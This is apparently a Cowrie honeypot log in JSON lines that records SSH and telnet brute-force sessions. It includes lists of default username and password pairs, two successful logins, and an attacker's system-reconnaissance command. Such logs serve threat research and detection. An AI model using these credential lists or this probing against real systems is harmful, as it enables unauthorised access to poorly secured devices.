{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":48028,"dst_ip":"159.203.135.109","dst_port":23,"session":"242aa1c1458b","protocol":"telnet","message":"New connection: 216.131.72.138:48028 (159.203.135.109:23) [session: 242aa1c1458b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:55:57.356811Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":48044,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4304712b00","protocol":"telnet","message":"New connection: 216.131.72.138:48044 (159.203.135.109:23) [session: 2a4304712b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:00.715244Z"}
{"eventid":"cowrie.session.closed","duration":33.57447123527527,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:01.442011Z","src_ip":"5.42.229.203","session":"34355955ef59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43214,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0e16f88e3a0","protocol":"ssh","message":"New connection: 159.203.92.129:43214 (159.203.135.109:22) [session: e0e16f88e3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.088311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.093473Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.111503Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin.123456","message":"login attempt [admin/admin.123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.171089Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.228922Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.232356Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.236644Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.260708Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:39.265854Z","src_ip":"159.203.92.129","session":"e0e16f88e3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.149","src_port":10370,"dst_ip":"10.17.0.5","dst_port":22,"session":"a21ee95c906e","protocol":"ssh","message":"New connection: 87.251.64.149:10370 (10.17.0.5:22) [session: a21ee95c906e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.283441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-sshcustom_0.1","message":"Remote SSH version: SSH-2.0-sshcustom_0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.287827Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2a86d5946159539cb26c1657f9c447f2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes256-cbc,3des-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-md5-etm@openssh.com,hmac-md5;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes256-cbc","3des-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-md5-etm@openssh.com","hmac-md5"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2a86d5946159539cb26c1657f9c447f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.290178Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.574168Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456","message":"login attempt [support/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.577611Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123456789","message":"login attempt [support/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.583922Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"qwerty","message":"login attempt [support/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.587778Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"password","message":"login attempt [support/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:45.590886Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:46.764984Z","src_ip":"87.251.64.149","session":"a21ee95c906e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.149","src_port":10380,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d05f59032c6","protocol":"ssh","message":"New connection: 87.251.64.149:10380 (10.17.0.5:22) [session: 0d05f59032c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:46.857383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-sshcustom_0.1","message":"Remote SSH version: SSH-2.0-sshcustom_0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:46.863578Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2a86d5946159539cb26c1657f9c447f2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes256-cbc,3des-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-md5-etm@openssh.com,hmac-md5;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes256-cbc","3des-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-md5-etm@openssh.com","hmac-md5"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2a86d5946159539cb26c1657f9c447f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:46.867865Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"111111","message":"login attempt [support/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:47.154803Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"12345678","message":"login attempt [support/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:47.158685Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"abc123","message":"login attempt [support/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:47.162765Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"1234567","message":"login attempt [support/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:47.166442Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"password1","message":"login attempt [support/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:47.172939Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.345165Z","src_ip":"87.251.64.149","session":"0d05f59032c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.149","src_port":10386,"dst_ip":"10.17.0.5","dst_port":22,"session":"4be9b5d186da","protocol":"ssh","message":"New connection: 87.251.64.149:10386 (10.17.0.5:22) [session: 4be9b5d186da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.437637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-sshcustom_0.1","message":"Remote SSH version: SSH-2.0-sshcustom_0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.441988Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2a86d5946159539cb26c1657f9c447f2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes256-cbc,3des-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-md5-etm@openssh.com,hmac-md5;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes256-cbc","3des-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-md5-etm@openssh.com","hmac-md5"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2a86d5946159539cb26c1657f9c447f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.445504Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"12345","message":"login attempt [support/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.733860Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"1234567890","message":"login attempt [support/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.738158Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123123","message":"login attempt [support/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.741965Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"000000","message":"login attempt [support/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.745696Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"iloveyou","message":"login attempt [support/iloveyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:48.752589Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:49.925045Z","src_ip":"87.251.64.149","session":"4be9b5d186da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.149","src_port":15792,"dst_ip":"10.17.0.5","dst_port":22,"session":"07253d778f55","protocol":"ssh","message":"New connection: 87.251.64.149:15792 (10.17.0.5:22) [session: 07253d778f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.018084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-sshcustom_0.1","message":"Remote SSH version: SSH-2.0-sshcustom_0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.023448Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2a86d5946159539cb26c1657f9c447f2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes256-cbc,3des-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-md5-etm@openssh.com,hmac-md5;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes256-cbc","3des-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-md5-etm@openssh.com","hmac-md5"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2a86d5946159539cb26c1657f9c447f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.026944Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"1234","message":"login attempt [support/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.314101Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"1q2w3e4r5t","message":"login attempt [support/1q2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.318753Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"qwertyuiop","message":"login attempt [support/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.322969Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.326411Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"monkey","message":"login attempt [support/monkey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:50.329893Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.506201Z","src_ip":"87.251.64.149","session":"07253d778f55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.149","src_port":15802,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c848e0f040","protocol":"ssh","message":"New connection: 87.251.64.149:15802 (10.17.0.5:22) [session: 73c848e0f040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.598930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-sshcustom_0.1","message":"Remote SSH version: SSH-2.0-sshcustom_0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.602701Z","src_ip":"87.251.64.149","session":"73c848e0f040","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2a86d5946159539cb26c1657f9c447f2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes256-cbc,3des-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-md5-etm@openssh.com,hmac-md5;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes256-cbc","3des-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-md5-etm@openssh.com","hmac-md5"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2a86d5946159539cb26c1657f9c447f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.605117Z","src_ip":"87.251.64.149","session":"73c848e0f040","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.890257Z","src_ip":"87.251.64.149","session":"73c848e0f040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:56:51.989609Z","src_ip":"87.251.64.149","session":"73c848e0f040","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60750,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d0748920e9f","protocol":"ssh","message":"New connection: 159.203.92.129:60750 (159.203.135.109:22) [session: 5d0748920e9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.613466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:57:22.617610Z","src_ip":"159.203.92.129","session":"5d0748920e9f","protocol":"ssh"}
